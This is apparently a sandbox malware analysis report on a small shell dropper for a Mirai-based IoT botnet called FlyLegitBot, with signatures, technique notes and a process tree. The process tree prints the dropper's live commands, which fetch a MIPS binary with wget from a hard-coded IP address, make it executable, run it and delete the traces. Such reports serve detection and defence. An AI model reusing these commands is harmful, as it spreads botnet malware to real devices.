Analysis
- max time kernel
1s - max time network
3s - platform
debian-9_mipsel - resource
debian9-mipsel-20260513-en - resource tags
- submitted
30/09/2026, 16:01
General
- Target 96707f44df308cd81ae0af1cf7381e486c24982cc43af32acb3c02c16bcea77a
- Size 250B
- Sample260930-tf61zsca67
- SHA256 96707f44df308cd81ae0af1cf7381e486c24982cc43af32acb3c02c16bcea77a
Score
10/10
Malware Config
Signatures
- Family: FlyLegitBot
FlyLegitBot is a Mirai-based botnet.
- Detects FlyLegitBot 1 IoCs
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/96707f44df308cd81ae0af1cf7381e486c24982cc43af32acb3c02c16bcea77a/tmp/96707f44df308cd81ae0af1cf7381e486c24982cc43af32acb3c02c16bcea77a1⤵
- Executes dropped EXE
-
/bin/unameuname -m2⤵
-
-
/usr/bin/wgetwget -q -O iran.mips http://176.65.139.166:8080/iran.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/chmodchmod +x iran.mips2⤵
- File and Directory Permissions Modification
-
-
/tmp/iran.mips./iran.mips telnet2⤵
- System Network Configuration Discovery
-
-
/bin/rmrm -f iran.mips cat.sh2⤵
- System Network Configuration Discovery
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
iran.mips